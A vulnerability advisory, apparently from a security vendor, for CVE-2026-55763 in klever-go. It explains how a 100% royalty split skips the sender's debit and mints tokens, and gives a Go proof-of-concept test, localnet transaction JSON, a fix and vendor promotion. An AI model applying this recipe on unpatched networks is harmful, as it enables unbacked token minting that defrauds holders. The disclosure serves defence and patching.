CVE-2026-55763

CVE-2026-55763 is a high-severity security vulnerability in github.com/klever-io/klever-go (go), affecting versions <= 1.7.19-rc2. It is fixed in 1.7.19-rc4.

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Runtime intelligence, not another scanner.

Summary

klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits

In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is
ordered after the split loop and after if royaltiesToPay <= 0 { return Ok }. The split-payout guard rejects
only an allocation that exceeds the pool (a strict splitToPay > royaltiesToPay), so a split entry of exactly
100%
(PercentTransferPercentage = 10000) is a valid config: it drives royaltiesToPay to 0 and hits the
early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing
for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is
safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after
the early-return.

Affected code

  • core/kapp/accounts/accounts.go, processPercentageRoyaltiesTransfer: split loop → if royaltiesToPay <= 0 { return Ok }acntSrc.SubFromBalance(royaltyAmount) (debit after the early-return). Contrast the safe
    processFixedRoyaltiesTransfer (debit before the loop).

Reachability

Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint
fires on any holder's transfer of the asset, not just the owner's.

Proof of concept

Unit test

TestExploit_PercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks
ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited
the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case
does not early-return, the sender is debited, and value conserves.

Full Go PoC (core/kapp/accounts package, passes = mint confirmed)
package accounts

import (
	"bytes"
	"encoding/hex"
	"testing"

	"github.com/stretchr/testify/require"

	commonMock "github.com/klever-io/klever-go/common/mock"
	"github.com/klever-io/klever-go/core"
	"github.com/klever-io/klever-go/core/kapp"
	"github.com/klever-io/klever-go/data/block"
	"github.com/klever-io/klever-go/data/state"
	"github.com/klever-io/klever-go/data/transaction"
	integrationMock "github.com/klever-io/klever-go/integrationTest/mock"
	"github.com/klever-io/klever-go/kapps"
	kvmStub "github.com/klever-io/klever-go/kvm/mock/stub"
)

// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:
// processPercentageRoyaltiesTransfer credits the split recipient
// inside the loop, then hits `if royaltiesToPay <= 0 { return Ok }` BEFORE the
// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split
// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay
// to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays
// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case
// (which does NOT early-return) confirms the debit fires and value is conserved.
func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {
	const (
		assetIDStr     = "FUNGI-1234"
		transferValue  = int64(800)
		royaltyRatePct = uint32(500) // 5%
		royaltyAmount  = int64(40)   // 800 * 5% = 40
	)

	assetID := []byte(assetIDStr)

	// 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty
	// path is not short-circuited by core.IsSmartContractAddress.
	senderAddr := bytes.Repeat([]byte{0x11}, 32)
	// Split recipient address must be a valid hex string (computeSplitRoyalties
	// hex-decodes the map key).
	recipientAddr := bytes.Repeat([]byte{0x22}, 32)
	recipientKey := hex.EncodeToString(recipientAddr)
	royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)

	buildKDA := func(splitPercent uint32) *kapps.KDAData {
		return &kapps.KDAData{
			AssetType:    kapps.KDAData_Fungible,
			OwnerAddress: senderAddr,
			Royalties: &kapps.RoyaltiesData{
				Address: royaltyReceiverAddr,
				TransferPercentage: []*kapps.RoyaltyData{
					{Amount: 1000, Percentage: royaltyRatePct},
				},
				SplitRoyalties: map[string]*kapps.RoyaltySplitData{
					recipientKey: {PercentTransferPercentage: splitPercent},
				},
			},
		}
	}

	type runResult struct {
		subFromCalls    int
		subFromAmount   int64
		addToRecipient  int64
		addToOwnerRem   int64
		resCode         transaction.Transaction_TXResultCode
		err             error
	}

	run := func(t *testing.T, splitPercent uint32) runResult {
		t.Helper()

		res := runResult{}

		// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.
		acntSrc := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return senderAddr },
			GetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },
			SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.subFromCalls++
				res.subFromAmount += value
				return nil
			},
		}

		// Destination is irrelevant to the royalty pool accounting here.
		acntDst := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
		}

		// Split recipient: capture the credit it receives.
		splitRecipient := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return recipientAddr },
			AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.addToRecipient += value
				return nil
			},
		}

		// Owner-remainder receiver (only credited when the path does NOT early-return).
		royaltyReceiver := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
			AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.addToOwnerRem += value
				return nil
			},
		}

		cacher := &commonMock.AccountsCacherStub{
			LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {
				if bytes.Equal(address, recipientAddr) {
					return splitRecipient, nil
				}
				if bytes.Equal(address, royaltyReceiverAddr) {
					return royaltyReceiver, nil
				}
				return acntSrc, nil
			},
			GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {
				return royaltyReceiver, nil
			},
			UpdateUserCalled: func(_ state.AccountHandler) error { return nil },
		}

		// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts
		// (overflow-checked percentage math), and FixMarketBuyOverflow so the
		// fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.
		fc := &integrationMock.ForkControllerStub{
			KdaFprCalled:               func() bool { return true },
			EnableSmartContractsCalled: func() bool { return true },
			FixMarketBuyOverflowCalled: func() bool { return true },
		}

		kappController := &kvmStub.KAppControllerStub{
			GetCurrentKAppContextCalled: func() kapp.KappContext {
				return kapp.NewKappContext(kapp.ArgsNewKAppContext{
					OriginalSender: senderAddr,
					ContractID:     0,
					ContractType:   transaction.TXContract_TransferContractType,
					Block:          &block.Block{},
				})
			},
		}

		a := &accountsKapp{
			accountsCacher: cacher,
			forkController: fc,
			KAppController: kappController,
		}

		tc := &transaction.TransferContract{
			Amount:       transferValue,
			KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)
		}

		kda := buildKDA(splitPercent)

		res.resCode, res.err = a.processPercentageRoyaltiesTransfer(
			tc, assetID, nil, acntSrc, acntDst, kda,
		)
		return res
	}

	// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----
	t.Run("split_100pct_mints", func(t *testing.T) {
		r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config

		require.NoError(t, r.err)
		require.Equal(t, transaction.Transaction_Ok, r.resCode)

		credited := r.addToRecipient
		debited := r.subFromAmount
		mintDelta := credited - debited

		t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited)
		t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls)
		t.Logf("[100%% case] sender royalty amount debited            = %d", debited)
		t.Logf("[100%% case] owner-remainder credited                 = %d", r.addToOwnerRem)
		t.Logf("[100%% case] MINT delta (credited - debited)          = %d", mintDelta)

		// (1) split recipient WAS credited the full royaltyAmount (> 0).
		require.Equal(t, royaltyAmount, credited,
			"split recipient must receive the full royalty pool")
		require.Greater(t, credited, int64(0))

		// (2) the sender's royalty debit was NEVER called -> value created.
		require.Equal(t, 0, r.subFromCalls,
			"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return")
		require.Equal(t, int64(0), debited)

		// credited > debited => mint of royaltyAmount.
		require.Equal(t, royaltyAmount, mintDelta,
			"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)",
			mintDelta, assetIDStr)
	})

	// ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ----
	t.Run("split_50pct_conserves", func(t *testing.T) {
		r := run(t, core.HundredPercent/2) // 5000 == 50%

		require.NoError(t, r.err)
		require.Equal(t, transaction.Transaction_Ok, r.resCode)

		credited := r.addToRecipient + r.addToOwnerRem
		debited := r.subFromAmount

		t.Logf("[50%% case] split recipient credited      = %d", r.addToRecipient)
		t.Logf("[50%% case] owner-remainder credited       = %d", r.addToOwnerRem)
		t.Logf("[50%% case] total credited                 = %d", credited)
		t.Logf("[50%% case] sender royalty-debit calls      = %d", r.subFromCalls)
		t.Logf("[50%% case] sender royalty amount debited   = %d", debited)
		t.Logf("[50%% case] net (credited - debited)        = %d (0 => conserved)", credited-debited)

		// Sender IS debited the full royalty pool exactly once.
		require.Equal(t, 1, r.subFromCalls,
			"sibling path: at <100%% the early-return does NOT fire, so the sender royalty debit runs")
		require.Equal(t, royaltyAmount, debited)

		// Split (20) + owner remainder (20) == debited (40): value conserved.
		require.Equal(t, royaltyAmount/2, r.addToRecipient)
		require.Equal(t, royaltyAmount/2, r.addToOwnerRem)
		require.Equal(t, debited, credited, "50%% case conserves: total credited == debited")
	})
}

On-chain reproduction (live single-node localnet)

Asset F07-3NG3 was created with a 10% transfer royalty (percentage: 1000) and a single 100% split
(percentTransferPercentage: 10000) to address R (klv1qeh4py4…qcv2xjm). A transfer of 100,000,000,000 units
(with kdaRoyalties = 10,000,000,000, i.e. the 10% pool) then produced two credit receipts: the recipient gets
the 100,000,000,000 transfer, and R is credited the 10,000,000,000 royalty, while the sender was debited
only the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.

Create tx, F07-3NG3, 10% transfer royalty + single 100% split to R (hash ec2a8e8d…af12bc7f)
{
    "hash": "ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f",
    "blockNum": 104,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "contract": [
        {
            "type": 1,
            "typeString": "CreateAssetContractType",
            "parameter": {
                "type": "Fungible",
                "name": "Finding07",
                "ticker": "F07",
                "precision": 6,
                "initialSupply": 1000000000000,
                "maxSupply": 0,
                "royalties": {
                    "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
                    "transferPercentage": [
                        { "percentage": 1000 }
                    ],
                    "splitRoyalties": [
                        {
                            "address": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                            "percentTransferPercentage": 10000
                        }
                    ]
                }
            }
        }
    ]
}
Transfer tx, royalty pool 10,000,000,000 credited to R with no source debit (hash 37527757…bf3706b1)
{
    "hash": "37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1",
    "blockNum": 120,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 10000000000
        },
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
            "type": 0,
            "typeString": "Transfer",
            "value": 100000000000
        }
    ],
    "contract": [
        {
            "type": 0,
            "typeString": "TransferContractType",
            "parameter": {
                "assetId": "F07-3NG3",
                "toAddress": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
                "amount": 100000000000,
                "kdaRoyalties": 10000000000
            }
        }
    ]
}

Impact

Unbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an
owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update
(off-the-books).

Affected versions

github.com/klever-io/klever-go (<= 1.7.19-rc2)

Security releases

github.com/klever-io/klever-go → 1.7.19-rc4 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Reorder so the royalty pool is debited from the sender before the split distribution, mirroring
processFixedRoyaltiesTransfer:

err := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST
// ... then the split loop and `if royaltiesToPay <= 0 { return Ok }` (now only skips a zero owner-remainder)

Add the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.

Frequently Asked Questions

  1. What is CVE-2026-55763? CVE-2026-55763 is a high-severity security vulnerability in github.com/klever-io/klever-go (go), affecting versions <= 1.7.19-rc2. It is fixed in 1.7.19-rc4.
  2. Which versions of github.com/klever-io/klever-go are affected by CVE-2026-55763? github.com/klever-io/klever-go (go) versions <= 1.7.19-rc2 is affected.
  3. Is there a fix for CVE-2026-55763? Yes. CVE-2026-55763 is fixed in 1.7.19-rc4. Upgrade to this version or later.
  4. Is CVE-2026-55763 exploitable, and should I be worried? Whether CVE-2026-55763 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-55763 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-55763? Upgrade github.com/klever-io/klever-go to 1.7.19-rc4 or later.

Other vulnerabilities in github.com/klever-io/klever-go

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